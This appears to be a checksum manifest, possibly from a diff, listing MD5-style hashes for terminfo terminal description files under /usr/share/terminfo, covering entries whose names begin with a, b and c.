+33b216e8fec086dbe4c884aa7b566d5b /usr/share/terminfo/a/ansi+sgrdim +5ab0fa91be25a2e1005fcd94dc9dd469 /usr/share/terminfo/a/ansi+sgrso +0afdcc1032306d8d3ea05def04340d21 /usr/share/terminfo/a/ansi+sgrul +7183c55fa5ac8798a7dc32930ac058f5 /usr/share/terminfo/a/ansi+tabs +ec2225ec442e63b67e75ae39eb299865 /usr/share/terminfo/a/awsc +f85306e380810e4b807bd862d54a1a9d /usr/share/terminfo/a/aws +c562b12513059e8b4cc87861107b14d6 /usr/share/terminfo/a/ansi-color-3-emx +895ac625728b0da2a0c3d2f231183d34 /usr/share/terminfo/a/ansi-emx +575787a074bf96a861c6586e5c272d02 /usr/share/terminfo/a/ansi-generic +063c1bb6c3b80e98bb7a624e0676fb1c /usr/share/terminfo/a/ansi-mini +5c9e13dcccb56670e16c6270b831fb0f /usr/share/terminfo/a/ansi-mr +95079a6a07f87380741d9ca7b3509799 /usr/share/terminfo/a/ansi-mtabs +af07841ddaf7be16e75f8c89fd3fd4ae /usr/share/terminfo/a/ansi.sys +5805324ad869efd563f1cc4f2cd119a9 /usr/share/terminfo/a/ansi.sys-old +bf77fd6a07bd168dd86bb003a8ad6907 /usr/share/terminfo/a/ansi77 +93982758d4339eb59939cb94dd3bf735 /usr/share/terminfo/a/apollo +77815cd6190a9cdc953e265aa69fca1c /usr/share/terminfo/a/apollo_15P +4379403a145466e73c69370440c738ed /usr/share/terminfo/a/apollo_19L +55aa3f52d8c01981d9077e282e761b37 /usr/share/terminfo/a/apollo_color +1fcadbc154da9ff71bd516a9227e1ee6 /usr/share/terminfo/a/apple-80 +47228949680bad533b65768b79602644 /usr/share/terminfo/a/apple-ae +de5dcb54d977ab6baddc4d91683da3f9 /usr/share/terminfo/a/apple-soroc +9e9d2889b1448291a925aa0fda7707c1 /usr/share/terminfo/a/apple-uterm +4fbeba06bf6706fcaefc617de7f284a8 /usr/share/terminfo/a/apple-uterm-vb +31ae568592c76dbeb909dffcf8361dfb /usr/share/terminfo/a/apple-videx +1ffecd0a3d374e7ee8598f01fc3dc484 /usr/share/terminfo/a/apple-videx2 +8710212049e3040f05f1a82b8f9327ab /usr/share/terminfo/a/apple2e +5ff7580c324fb57de35532df1bbe2523 /usr/share/terminfo/a/apple2e-p +e49b90d2d90570f6777a3543f73c9e2a /usr/share/terminfo/a/apple80p +5e2a0832678144fc5bb3607e30b1bfe1 /usr/share/terminfo/a/appleII +b1f4a471dca19c27e393eaf101a9ce25 /usr/share/terminfo/a/atari +b0a0e016d5ec14d9766b84f143e7f3f7 /usr/share/terminfo/a/att2350 +ca4bad30a6b188bc6c347653b0803dac /usr/share/terminfo/a/att5420_2 +90356e25cc36c581b58283f8d3d4d832 /usr/share/terminfo/a/att5420_2-w +4f88c25a1ab45de1db3948407d8c34cb /usr/share/terminfo/a/att605 +5b2ed3bbdd1b8de3684d32e6385f11d0 /usr/share/terminfo/a/att605-pc +b737ca9762db448e0bc5c31af7c8d1a2 /usr/share/terminfo/a/att605-w +3e4db18cc0d129582e7986c8d1bca8c8 /usr/share/terminfo/a/att610 +9982f1d620b920cf4da3cdad1215b0d8 /usr/share/terminfo/a/att610-103k +c9916cfc90b5e416a0bb1a1bad280b3b /usr/share/terminfo/a/att610-103k-w +37fc55ec67b1af7d5e0407fab87a8ca3 /usr/share/terminfo/a/att610-w +6b38b980fda564f2261cabe7f47528da /usr/share/terminfo/a/att615 +80c96e7c5b8c72bd22e6b03b24ee9c51 /usr/share/terminfo/a/att615-103k +58c1cac1a10458085b76e18f560c49dd /usr/share/terminfo/a/att615-103k-w +863df7832f7c80e69b85d24cd3700e5c /usr/share/terminfo/a/att615-w +6283aa16dddac59e12972491afcd79d8 /usr/share/terminfo/a/att620 +b4e7a650145e4d42c39823d70d88b592 /usr/share/terminfo/a/att620-103k +26bea99136fa271024ab40ad973d615a /usr/share/terminfo/a/att620-103k-w +86bbde28e76c014d2075f5255c973980 /usr/share/terminfo/a/att620-w +b73ed1b82a1ff4bafe73c93f1bef4ebe /usr/share/terminfo/a/att630 +0b84248f81b048a8f13822e51506d7fc /usr/share/terminfo/a/att700 +684c858abb294385e1f5771b221e6a1b /usr/share/terminfo/a/att730 +9464f009335d27229441f5dc890055ff /usr/share/terminfo/a/avatar0 +c2b5643ef4d76a4ad04eaf5940b691e9 /usr/share/terminfo/a/avatar0+ +b18b69f72c503c34569798f78de617ee /usr/share/terminfo/a/avt+s +078e8bf7ebe158d2856cc19cecaa4081 /usr/share/terminfo/a/avt-ns +ce9acef647a61373f1e8ed68dd09fc19 /usr/share/terminfo/a/avt-rv-ns +aa35d0464f59f21d782b18a833241699 /usr/share/terminfo/a/avt-w-ns +e2101f27070636765911424903e1f935 /usr/share/terminfo/a/avt-w-rv-ns +a1bea123021b7053fdb23f99a02a6ed7 /usr/share/terminfo/a/avt-s +eebb119122bbd1881c90f9cd36a0861b /usr/share/terminfo/a/apl +a712f47f02a6b0e9d2876423a051d24f /usr/share/terminfo/a/avt-w-rv-s +a712f47f02a6b0e9d2876423a051d24f /usr/share/terminfo/a/avt-w-rv +fb4a5e364e6b7b015b5aa8030e112161 /usr/share/terminfo/a/avt-w-s +fb4a5e364e6b7b015b5aa8030e112161 /usr/share/terminfo/a/avt-w +b581c30ef086d0921102efd9a71eebbe /usr/share/terminfo/a/avt-rv-s +b581c30ef086d0921102efd9a71eebbe /usr/share/terminfo/a/avt-rv +26106be394fea470d10db5f45043cdd5 /usr/share/terminfo/a/att5620-s +a1bea123021b7053fdb23f99a02a6ed7 /usr/share/terminfo/a/avt +a787bf1884d82979f7fbd05cf8c99ab5 /usr/share/terminfo/a/avatar1 +a787bf1884d82979f7fbd05cf8c99ab5 /usr/share/terminfo/a/avatar +b606ed7aedc91177bf9ce0f08a6626a4 /usr/share/terminfo/a/att5430 +0ddbd312dacd1d0b87fe46eeb9f74308 /usr/share/terminfo/a/alt7 +3f2890a7933ee14b720fe7447110cb04 /usr/share/terminfo/a/att5620-34 +f86690c1a0f6764908397203a7447987 /usr/share/terminfo/a/att5620-24 +1a54a2583ea338aaeb811913639f8ae3 /usr/share/terminfo/a/att5620-1 +652bf8106562b940a9c26ad87a6a43c3 /usr/share/terminfo/a/att5320 +652bf8106562b940a9c26ad87a6a43c3 /usr/share/terminfo/a/att5310 +36248b98e633b1756730ce83777c34fe /usr/share/terminfo/a/att510d +817559f6046cac7e98654602b3f9bd90 /usr/share/terminfo/a/att510a +5e1525e32fb11bc980261b88a17f5114 /usr/share/terminfo/a/att505-24 +89e9f703f8a96f653d18380cf1e2a715 /usr/share/terminfo/a/att4425-w +b606ed7aedc91177bf9ce0f08a6626a4 /usr/share/terminfo/a/att505 +22e4c5642ceca691d6d815bbdc1c36f6 /usr/share/terminfo/a/att513 +22e4c5642ceca691d6d815bbdc1c36f6 /usr/share/terminfo/a/att500 +e56382fd4f2e0cb27f6f32f0710fb7be /usr/share/terminfo/a/att4426 +89e9f703f8a96f653d18380cf1e2a715 /usr/share/terminfo/a/att5425-w +e00d9878f1dc2d15216c32e478a85859 /usr/share/terminfo/a/att5425-nl +f1eda0ced4c0ddab4cfde7310f1d76c4 /usr/share/terminfo/a/att5425 +f4d813452b2ee03a02f5b96b3e7f8208 /usr/share/terminfo/a/att4424m +e00d9878f1dc2d15216c32e478a85859 /usr/share/terminfo/a/att4425-nl +fce79299b2a6cd8e5711099676c13f27 /usr/share/terminfo/a/att4424-1 +f1eda0ced4c0ddab4cfde7310f1d76c4 /usr/share/terminfo/a/att4425 +b9df3fa2169fe97671963772761530e1 /usr/share/terminfo/a/att4418-w +cc4449e6904dba2cb675b8c46262e22d /usr/share/terminfo/a/att4424 +62511ae8e4ad8106d5e805d81fbb01fb /usr/share/terminfo/a/att4420 +77ad13dd75c85cf7244b21ab2212c7bf /usr/share/terminfo/a/att4415-w-rv-n +b9df3fa2169fe97671963772761530e1 /usr/share/terminfo/a/att5418-w +d8620ae2c8300b8d09de1dc30552cffa /usr/share/terminfo/a/att5418 +d8620ae2c8300b8d09de1dc30552cffa /usr/share/terminfo/a/att4418 +77ad13dd75c85cf7244b21ab2212c7bf /usr/share/terminfo/a/att5420-w-rv-n +6ad6626ff1064a6d5ed8fcea8da52283 /usr/share/terminfo/a/att5420-w-rv +1c436f79afebddabc8f3d87083049a22 /usr/share/terminfo/a/att5420-w-nl +bb970cdbe3495e42920f1d3951195f1c /usr/share/terminfo/a/att4415-w +6ad6626ff1064a6d5ed8fcea8da52283 /usr/share/terminfo/a/att4415-w-rv +bb970cdbe3495e42920f1d3951195f1c /usr/share/terminfo/a/att5420-w +14b7db11069492d2c66a68c42e0d8166 /usr/share/terminfo/a/alt4 +1c436f79afebddabc8f3d87083049a22 /usr/share/terminfo/a/att4415-w-nl +6fe5e8a6aad724211682f3c1663ed2a9 /usr/share/terminfo/a/att5420-rv-nl +7311c2d6449e6ace35868922e6625f1e /usr/share/terminfo/a/att5420-rv +a178e0150544fc86f76ac8b052254916 /usr/share/terminfo/a/att4415-nl +6fe5e8a6aad724211682f3c1663ed2a9 /usr/share/terminfo/a/att4415-rv-nl +a178e0150544fc86f76ac8b052254916 /usr/share/terminfo/a/att5420-nl +7311c2d6449e6ace35868922e6625f1e /usr/share/terminfo/a/att4415-rv +278dc038f9b91a1f434aa299d5c9e3af /usr/share/terminfo/a/att5420+nl +38c19b3d838815f8bea5729dfcf67b44 /usr/share/terminfo/a/att5420 +fd8bd381dba18f392ce7491d63dc0ebc /usr/share/terminfo/a/att4410v1-w +278dc038f9b91a1f434aa299d5c9e3af /usr/share/terminfo/a/att4415+nl +fd8bd381dba18f392ce7491d63dc0ebc /usr/share/terminfo/a/att5410v1-w +38c19b3d838815f8bea5729dfcf67b44 /usr/share/terminfo/a/att4415 +e1b328f9450001d0d4023d326274fa3e /usr/share/terminfo/a/att5410v1 +c9fd7f1a77fbe8df150adaa5126799bd /usr/share/terminfo/a/att5410 +5049f4a10c89bee96cf78954a2ed0ac4 /usr/share/terminfo/a/att2300 +e1b328f9450001d0d4023d326274fa3e /usr/share/terminfo/a/att4410v1 +901f89a4a11f91be77eb9d730b26a573 /usr/share/terminfo/a/arm100-w +c9fd7f1a77fbe8df150adaa5126799bd /usr/share/terminfo/a/att4410 +4a4e9950dfca3c8ec79345cdeb6093e6 /usr/share/terminfo/a/apple-videx3 +901f89a4a11f91be77eb9d730b26a573 /usr/share/terminfo/a/arm100-wam +971505f22fdede5f8f214a753be9793b /usr/share/terminfo/a/arm100-am +971505f22fdede5f8f214a753be9793b /usr/share/terminfo/a/arm100 +8b5d1b5da5c406ffaa3e9df0689625ac /usr/share/terminfo/a/appleIIe +8b5d1b5da5c406ffaa3e9df0689625ac /usr/share/terminfo/a/appleIIgs +50be921e7992d8895147a8cf2fc141f3 /usr/share/terminfo/a/ap-vm80 +8b5d1b5da5c406ffaa3e9df0689625ac /usr/share/terminfo/a/appleIIc +58cbd447d280085c7c563957b824a522 /usr/share/terminfo/a/ansi80x60-mono +50be921e7992d8895147a8cf2fc141f3 /usr/share/terminfo/a/apple-vm80 +1b61e01cbac5139f8370c07cb01a0d41 /usr/share/terminfo/a/ansil +c7a2564970bd4cdc8085e86585ce7a82 /usr/share/terminfo/a/alt3 +8e7c12b2074cafb59d1986053e5eb6c0 /usr/share/terminfo/a/ansi80x60 +de2422a6231b515d23ffa08957d7d150 /usr/share/terminfo/a/ansil-mono +c7a2564970bd4cdc8085e86585ce7a82 /usr/share/terminfo/a/alt5 +de2422a6231b515d23ffa08957d7d150 /usr/share/terminfo/a/ansi80x50-mono +0f0e0e7110973a8dabc9fc275029b5af /usr/share/terminfo/a/ansi80x43-mono +1b61e01cbac5139f8370c07cb01a0d41 /usr/share/terminfo/a/ansi80x50 +7343fe32c4c9c51fbd038e07b77427cd /usr/share/terminfo/a/alt2 +a04c1508afbd5a24d7ad328612f33983 /usr/share/terminfo/a/ansi80x30-mono +8218f0ef537ccf0b37437c9128f4921f /usr/share/terminfo/a/ansi80x43 +a95f7fe2156e398aeadd836bf7083a8a /usr/share/terminfo/a/ansis +6e83e40446d7952485f03c7772a4e157 /usr/share/terminfo/a/aj +57a3d3b58f0b0e7b1dd51e9f49536f96 /usr/share/terminfo/a/ansi80x30 +abdef3bdc8c25070458210680a65039b /usr/share/terminfo/a/ansiw +2f428c38d3c19114498965ab840c1cbe /usr/share/terminfo/a/ansi43m +abdef3bdc8c25070458210680a65039b /usr/share/terminfo/a/ansi80x25-raw +52b1a856fa660264f339078b4215cc58 /usr/share/terminfo/a/ansis-mono +9528c70112df521afdeee05ae02a8723 /usr/share/terminfo/a/adm1 +52b1a856fa660264f339078b4215cc58 /usr/share/terminfo/a/ansi80x25-mono +5a31d10a49e77987b7c1ff584c79ec23 /usr/share/terminfo/a/ansi.sysk +a95f7fe2156e398aeadd836bf7083a8a /usr/share/terminfo/a/ansi80x25 +3e4c7c2e62448fe17c33a925d7bf849c /usr/share/terminfo/a/addsviewpoint +5a31d10a49e77987b7c1ff584c79ec23 /usr/share/terminfo/a/ansisysk +5b2a31e020e45acef8b3154423e36061 /usr/share/terminfo/a/ansi-nt +6de7bcf7fef7ad12bcd51dcb16b5f5f5 /usr/share/terminfo/a/ansi-mono +6de7bcf7fef7ad12bcd51dcb16b5f5f5 /usr/share/terminfo/a/ansi-m +e2d2502a4b44458454d90518d4fd469a /usr/share/terminfo/a/ampex232 +9021f7c7c84f96b0cf36e3f26d93edd8 /usr/share/terminfo/a/act5 +e2d2502a4b44458454d90518d4fd469a /usr/share/terminfo/a/ampex-232 +a28bb6b85a97c35fcf85efcf6ffd47c0 /usr/share/terminfo/a/ampex-219w +a28bb6b85a97c35fcf85efcf6ffd47c0 /usr/share/terminfo/a/ampex219w +914107f21c01de28425bfad0c3105cf5 /usr/share/terminfo/a/act4 +a28bb6b85a97c35fcf85efcf6ffd47c0 /usr/share/terminfo/a/amp219w +9722c29b09f65a8e5808d07f1581e598 /usr/share/terminfo/a/ampex-219 +9722c29b09f65a8e5808d07f1581e598 /usr/share/terminfo/a/ampex219 +a2b14aa93f5c3dd5e27a144d5f98ef12 /usr/share/terminfo/a/alto-h19 +9722c29b09f65a8e5808d07f1581e598 /usr/share/terminfo/a/amp219 +a2b14aa93f5c3dd5e27a144d5f98ef12 /usr/share/terminfo/a/alto-heath +a2b14aa93f5c3dd5e27a144d5f98ef12 /usr/share/terminfo/a/altoh19 +a2b14aa93f5c3dd5e27a144d5f98ef12 /usr/share/terminfo/a/altoheath +d13bc0d463937768a517e5cf9ad34fc9 /usr/share/terminfo/a/altos7pc +d13bc0d463937768a517e5cf9ad34fc9 /usr/share/terminfo/a/alt7pc +0ddbd312dacd1d0b87fe46eeb9f74308 /usr/share/terminfo/a/altos7 +14b7db11069492d2c66a68c42e0d8166 /usr/share/terminfo/a/altos-4 +14b7db11069492d2c66a68c42e0d8166 /usr/share/terminfo/a/altos4 +c7a2564970bd4cdc8085e86585ce7a82 /usr/share/terminfo/a/altos-3 +c7a2564970bd4cdc8085e86585ce7a82 /usr/share/terminfo/a/altos-5 +c7a2564970bd4cdc8085e86585ce7a82 /usr/share/terminfo/a/altos3 +c7a2564970bd4cdc8085e86585ce7a82 /usr/share/terminfo/a/altos5 +7343fe32c4c9c51fbd038e07b77427cd /usr/share/terminfo/a/altos-2 +7343fe32c4c9c51fbd038e07b77427cd /usr/share/terminfo/a/altos2 +6e83e40446d7952485f03c7772a4e157 /usr/share/terminfo/a/aj830 +6e83e40446d7952485f03c7772a4e157 /usr/share/terminfo/a/aj832 +da0c0f951e2ebf0495a54a673f8de8b9 /usr/share/terminfo/a/adm31-old +9528c70112df521afdeee05ae02a8723 /usr/share/terminfo/a/adm1a +ac80a1494d15a816763163dc6f0a36dd /usr/share/terminfo/a/addsvp60 +58f34a22add2da76b0d6072be68c4f4b /usr/share/terminfo/a/aaa-30-s-rv-ct +e15ea84939ded84b0d94c259d9563f2d /usr/share/terminfo/a/abm85h-old +c59970672f999bda9dca2714218db1ac /usr/share/terminfo/a/ampex80 +c59970672f999bda9dca2714218db1ac /usr/share/terminfo/a/a80 +58f34a22add2da76b0d6072be68c4f4b /usr/share/terminfo/a/aaa-s-rv-ctxt +5cefab6c4a6076df866dfb27cdd2e2de /usr/share/terminfo/a/aaa-s-rv +830a892d480f81ed728e006e8a87e084 /usr/share/terminfo/a/aaa +5cefab6c4a6076df866dfb27cdd2e2de /usr/share/terminfo/a/aaa-30-s-rv +35a505a24188e9dfa367e3ca661b81c8 /usr/share/terminfo/a/aaa-s-ctxt +d6088411aadf981b55ab17800011735c /usr/share/terminfo/a/a980 +35a505a24188e9dfa367e3ca661b81c8 /usr/share/terminfo/a/aaa-30-s-ctxt +c3f0e630b88c4c35d834591a5afc2fed /usr/share/terminfo/a/aaa-s +12009b857fc38e4d15edc522d470f04e /usr/share/terminfo/a/a210 +c3f0e630b88c4c35d834591a5afc2fed /usr/share/terminfo/a/aaa-30-s +61efcb4cf29c0c3959f43a50fcb6f5cd /usr/share/terminfo/a/aaa-rv-ctxt +61efcb4cf29c0c3959f43a50fcb6f5cd /usr/share/terminfo/a/aaa-30-rv-ctxt +76d6bf7c96bf5531d908c2aa6b0a3fd6 /usr/share/terminfo/a/aaa-rv +76d6bf7c96bf5531d908c2aa6b0a3fd6 /usr/share/terminfo/a/aaa-30-rv +24c4cbf397388d446cb7246d4c44e165 /usr/share/terminfo/a/aaa-ctxt +24c4cbf397388d446cb7246d4c44e165 /usr/share/terminfo/a/aaa-30-ctxt +6f89fa0522e64ada7db5f3e2a448c14b /usr/share/terminfo/a/aaa-unk +6f89fa0522e64ada7db5f3e2a448c14b /usr/share/terminfo/a/aaa+unk +830a892d480f81ed728e006e8a87e084 /usr/share/terminfo/a/aaa-30 +830a892d480f81ed728e006e8a87e084 /usr/share/terminfo/a/ambas +830a892d480f81ed728e006e8a87e084 /usr/share/terminfo/a/ambassador +d103b99ec8152aeaac3c3b4827f62d79 /usr/share/terminfo/a/annarbor4080 +d103b99ec8152aeaac3c3b4827f62d79 /usr/share/terminfo/a/aa4080 +d6088411aadf981b55ab17800011735c /usr/share/terminfo/a/adds980 +2f30f801560b2a043bdea05dd69973ef /usr/share/terminfo/a/att5410-w +12009b857fc38e4d15edc522d470f04e /usr/share/terminfo/a/ampex210 +f829cec18d50d9a0083d5bb4026753db /usr/share/terminfo/a/att730r-24 +b413d2a19df2f221aaa222fa208cef8c /usr/share/terminfo/a/att730r +a8f6c9e00211bb978a1d435e9cbb090f /usr/share/terminfo/a/att730r-41 +4453dbad4396a1f73e475011addc0da0 /usr/share/terminfo/a/att730-41 +48801937ded0c4313dad1d8464c5d65d /usr/share/terminfo/a/att730-24 +22660320b2118e7695caa61a601ba3f0 /usr/share/terminfo/a/att630-24 +dcd9663215f0f0842677ec569872fe06 /usr/share/terminfo/a/att5620 +2f30f801560b2a043bdea05dd69973ef /usr/share/terminfo/a/att4410-w +d4ab82bc9687170f7669b3502206d6fd /usr/share/terminfo/a/att7300 +03fcc3f65ab91a3caa7ec31a01cae145 /usr/share/terminfo/a/att6386 +03fcc3f65ab91a3caa7ec31a01cae145 /usr/share/terminfo/a/at386 +5397dce6f4332c53430b011a45086e68 /usr/share/terminfo/a/adm1178 +09825853ef5bddc5beca533cb3826f80 /usr/share/terminfo/b/bg1.25nv +0210103eb2950810a329cba29c44a66f /usr/share/terminfo/b/basis +259362d5141f1cb77d5172a0399cd71b /usr/share/terminfo/b/beacon +89f760689f2f64eec5b432287eac8ef5 /usr/share/terminfo/b/beterm +6fef8ce334c0363ded08c92f756b49d7 /usr/share/terminfo/b/bg1.25 +1c3bb4cfcccc203f8b0066239e9f1bea /usr/share/terminfo/b/bq300-8-pc-rv +07c8f35264d4ea1dad6dca2e7fddca15 /usr/share/terminfo/b/bg1.25rv +1ac232fa5b179313ac44b697691ff9c3 /usr/share/terminfo/b/bq300 +9498656f46647c63b1d04c0bc45bf4ee /usr/share/terminfo/b/bq300-8 +2684425b965cec9f09d8a778e9b9a0df /usr/share/terminfo/b/beehive3 +4742fabfe26bd1ed14d5080e30e52bb3 /usr/share/terminfo/b/bh4 +6fe847c1f4c1e04a9f86e4e24edb63f6 /usr/share/terminfo/b/bq300-8-pc-w +c18ce449dc0e74f936bca2e43d85730c /usr/share/terminfo/b/bq300-8-pc-w-rv +5256d17403cb1adc120adbfc8b7c4a22 /usr/share/terminfo/b/bq300-8rv +edef601cc062d5c6e30c45c3cb0e061e /usr/share/terminfo/b/bq300-8w +fcc4cad0fb80d3c5a9157b3e4846410b /usr/share/terminfo/b/bq300-pc +2c358e4c0e450d0c1e2a420f1905dc05 /usr/share/terminfo/b/bq300-pc-rv +f237749f72b4cc2ed1babcf15a71c7bc /usr/share/terminfo/b/bq300-pc-w +e9332dd30dcfc31cc71a5d8e9b78dea4 /usr/share/terminfo/b/bq300-pc-w-rv +4be9e3c325a89fb21d35a74b6b3446dc /usr/share/terminfo/b/bq300-rv +3b2c2ffb37d4f7add9d85f7f70a87f3a /usr/share/terminfo/b/bq300-w +6d9a6be76a46ce3863ae99d596d4f713 /usr/share/terminfo/b/bq300-w-8rv +dc98ce7a1512dd17afc9dffec1500a18 /usr/share/terminfo/b/bq300-w-rv +de937936bec1010b563f010c56a5c867 /usr/share/terminfo/b/bsdos-pc +e39be8b6fc4d298836b7b4eaa11a6c01 /usr/share/terminfo/b/bsdos-pc-nobold +16a94820bc1067c9ad80dcebdf200931 /usr/share/terminfo/b/bsdos-ppc +ab4cbc8d65180dfb9d76ca49d56191d5 /usr/share/terminfo/b/bsdos-sparc +117280ad59fa5c49b5826431eda718ab /usr/share/terminfo/b/bsdos-pc-mono +117280ad59fa5c49b5826431eda718ab /usr/share/terminfo/b/bsdos-pc-m +6bbb67acada70364d6c2306271a9557d /usr/share/terminfo/b/bobcat +088e6e8c5730caba8e52876709cf201f /usr/share/terminfo/b/blit +25961d08d99e894fd2449d97d026f264 /usr/share/terminfo/b/bg3.10rv +25961d08d99e894fd2449d97d026f264 /usr/share/terminfo/b/bg2.0rv +f90029120271c1b1f0e4f5e2bce8608b /usr/share/terminfo/b/bg3.10nv +f90029120271c1b1f0e4f5e2bce8608b /usr/share/terminfo/b/bitgraph +b7033452ff5bc3ce1fbbedd1c3562402 /usr/share/terminfo/b/bg2.0 +f90029120271c1b1f0e4f5e2bce8608b /usr/share/terminfo/b/bg2.0nv +b7033452ff5bc3ce1fbbedd1c3562402 /usr/share/terminfo/b/bg3.10 +4742fabfe26bd1ed14d5080e30e52bb3 /usr/share/terminfo/b/beehive4 +2684425b965cec9f09d8a778e9b9a0df /usr/share/terminfo/b/beehiveIIIm +2684425b965cec9f09d8a778e9b9a0df /usr/share/terminfo/b/bh3m +d86b7b648788f9ebbc3ebd820a783f5f /usr/share/terminfo/b/beehive +d86b7b648788f9ebbc3ebd820a783f5f /usr/share/terminfo/b/bee +0fd4f409b46c1b64b12585f53941d693 /usr/share/terminfo/b/basic4 +1b45a752b6291b614bc502586e397616 /usr/share/terminfo/b/bantam +04b10aba0c78b1b1fca8dea3bb1bb329 /usr/share/terminfo/b/b-128 +36248b98e633b1756730ce83777c34fe /usr/share/terminfo/b/bct510d +817559f6046cac7e98654602b3f9bd90 /usr/share/terminfo/b/bct510a +aee085ffb07c5908285b9331ef43fa06 /usr/share/terminfo/b/bq300-8-pc +86469c8b03804b4502a68b204bab12c1 /usr/share/terminfo/c/cdc721-esc +00260edb9c334617bb2b726475d21662 /usr/share/terminfo/c/ca22851 +dc8e878a24071fe65bc89e5cfc318e31 /usr/share/terminfo/c/cbunix +379fd24949b1aa9e25b2f67c2a576b20 /usr/share/terminfo/c/cdc456 +552f533dde681dd522e18272383ea3f5 /usr/share/terminfo/c/cdc721 +72b3825f4cd072622d2da8646048b9ec /usr/share/terminfo/c/cit101e-n132 +97c7effccd8734ea05ea40572e37efa8 /usr/share/terminfo/c/cdc721ll +222ea63915235eb4685bd8de60eb03db /usr/share/terminfo/c/cdc752 +cd3b1510cc7621223fa86b8ba2067920 /usr/share/terminfo/c/cdc756 +afdd57b6891de4d0cd3e176e7f680aec /usr/share/terminfo/c/cit101e +27c4b24224c75f66ea46d06b4994d861 /usr/share/terminfo/c/cit101e-132 +9e4bc46228e708ab5005d9be8cef2fdc /usr/share/terminfo/c/cit101e-n +3256a14326fd86287c7db7b8927a9bac /usr/share/terminfo/c/citoh-ps +ab2ca582a06646dd98403b7095c8a3e2 /usr/share/terminfo/c/citc +df7ed1641c581ef1db394aadf7c4c207 /usr/share/terminfo/c/cit101e-rv +6ce37f5f7dcf01c96b2e6291604ade8e /usr/share/terminfo/c/cit500 +f631b7a649b98d522e3b7c5bab13cb26 /usr/share/terminfo/c/citoh-6lpi +7991c7d0b74efa232c44d842903366e2 /usr/share/terminfo/c/citoh-8lpi +a44a20a9d4b6d547f02d10ac8f05b2c2 /usr/share/terminfo/c/citoh-comp +7c6691ad57b62396ca6cd0d8ca5ae7eb /usr/share/terminfo/c/citoh-elite +ec5560a3a10f79033d53159ce466c11e /usr/share/terminfo/c/citoh-pica +0e5636ec130a35388cf60a7b2df37d19 /usr/share/terminfo/c/cs10-w +226f491d100ccdd8898cedcb0c900042 /usr/share/terminfo/c/ct8500 +05b8dabd73b881489ec5a3ce7807e84d /usr/share/terminfo/c/ctrm +2f4ca4f5504d9478a0e9b486565e3a19 /usr/share/terminfo/c/cygwin +5c553b92bcc1ca53ce52bec103df721f /usr/share/terminfo/c/cygwinB19 +53a92447e0cb22a103a026f091bef91c /usr/share/terminfo/c/cyb83 +8749072f405c1c3f518f1b39cbf8790d /usr/share/terminfo/c/cyb110 +70132ceb225339cbc246c6c65fbc240f /usr/share/terminfo/c/ct82 +c827f8e5252ff13555aff832649189f1 /usr/share/terminfo/c/crt-vt220 +c827f8e5252ff13555aff832649189f1 /usr/share/terminfo/c/crt +c471ec9b36aa0577f686a55047fce02c /usr/share/terminfo/c/cops-10 +c471ec9b36aa0577f686a55047fce02c /usr/share/terminfo/c/cops10 +25c4383047c9f12ef8b07d2b22f9b2b5 /usr/share/terminfo/c/cons60r +c471ec9b36aa0577f686a55047fce02c /usr/share/terminfo/c/cops +556fc4c07601accb7847db929bd1452e /usr/share/terminfo/c/cons60r-m +99688468b09731765d7f9ce9fcd0aae9 /usr/share/terminfo/c/cs10 +556fc4c07601accb7847db929bd1452e /usr/share/terminfo/c/cons60-koi8r-m +d9d92138c6cc1c98752ae405230f1713 /usr/share/terminfo/c/cons60l1-m +139bfcd520ac00325acd1e52ba5b340f /usr/share/terminfo/c/cx +25c4383047c9f12ef8b07d2b22f9b2b5 /usr/share/terminfo/c/cons60-koi8r +d9d92138c6cc1c98752ae405230f1713 /usr/share/terminfo/c/cons60-iso-m +7578a6e684906901b005d46ec66bb18e /usr/share/terminfo/c/cons60l1 +24e3dd107f170d3e9d51c35cebb2a64b /usr/share/terminfo/c/cci +7578a6e684906901b005d46ec66bb18e /usr/share/terminfo/c/cons60-iso +bd4b1c1c7d0afb241278e7ffc50a214d /usr/share/terminfo/c/cons50r-m +24e3dd107f170d3e9d51c35cebb2a64b /usr/share/terminfo/c/cci1 +bd4b1c1c7d0afb241278e7ffc50a214d /usr/share/terminfo/c/cons50-koi8r-m +d5811859e157096da7650d853752af90 /usr/share/terminfo/c/cons50r +6c416089f24d8dcc2f5cd4d8846be827 /usr/share/terminfo/c/cons50l1 +d5811859e157096da7650d853752af90 /usr/share/terminfo/c/cons50-koi8r +c6e323d116b148577dcbba3e4a44826e /usr/share/terminfo/c/cons50l1-m +c1453cc50be8acc8f700ad4ce0422cfd /usr/share/terminfo/c/cgc3 +6c416089f24d8dcc2f5cd4d8846be827 /usr/share/terminfo/c/cons50-iso8859 +c6e323d116b148577dcbba3e4a44826e /usr/share/terminfo/c/cons50-iso-m +324e39ea8b55695c3d93de774a1cbc47 /usr/share/terminfo/c/cons25r-m +77a184aa02f6a3f02e553134b7f7aedc /usr/share/terminfo/c/cgc2 +324e39ea8b55695c3d93de774a1cbc47 /usr/share/terminfo/c/cons25-koi8r-m +3aa3104d6a481c8ed18242f19b610477 /usr/share/terminfo/c/cons25r +95676112ca6b381e5f5c95146680de9e /usr/share/terminfo/c/cons25l1 +3aa3104d6a481c8ed18242f19b610477 /usr/share/terminfo/c/cons25-koi8-r +d2bf430ef641292b1646a971f9b40521 /usr/share/terminfo/c/cons25l1-m +fee0419a1c7f3154643749c0e55158c5 /usr/share/terminfo/c/c301 +95676112ca6b381e5f5c95146680de9e /usr/share/terminfo/c/cons25-iso8859 +d2bf430ef641292b1646a971f9b40521 /usr/share/terminfo/c/cons25-iso-m +139bfcd520ac00325acd1e52ba5b340f /usr/share/terminfo/c/cx100 +fee0419a1c7f3154643749c0e55158c5 /usr/share/terminfo/c/c321 +99688468b09731765d7f9ce9fcd0aae9 /usr/share/terminfo/c/colorscan +f1995e6aa6b209bb1203372cd0f26402 /usr/share/terminfo/c/coherent +139bfcd520ac00325acd1e52ba5b340f /usr/share/terminfo/c/color_xterm +6dee873c603ddef71bba2386a3cd9d6a /usr/share/terminfo/c/coco3 +1c38420ab98712d3ed30c5ef5299cc60 /usr/share/terminfo/c/c108-w-8p +3256a14326fd86287c7db7b8927a9bac /usr/share/terminfo/c/citoh-prop +3b271a6c54821d735f3b5d330dae4533 /usr/share/terminfo/c/cit80 +ab2ca582a06646dd98403b7095c8a3e2 /usr/share/terminfo/c/cit101 +3b271a6c54821d735f3b5d330dae4533 /usr/share/terminfo/c/cit-80 +3ba2f8a6e261710cf1f8c079ffe9e761 /usr/share/terminfo/c/chromatics +3ba2f8a6e261710cf1f8c079ffe9e761 /usr/share/terminfo/c/cg7900 +255f9fb96e5c5a2c0adf439e580b3b3d 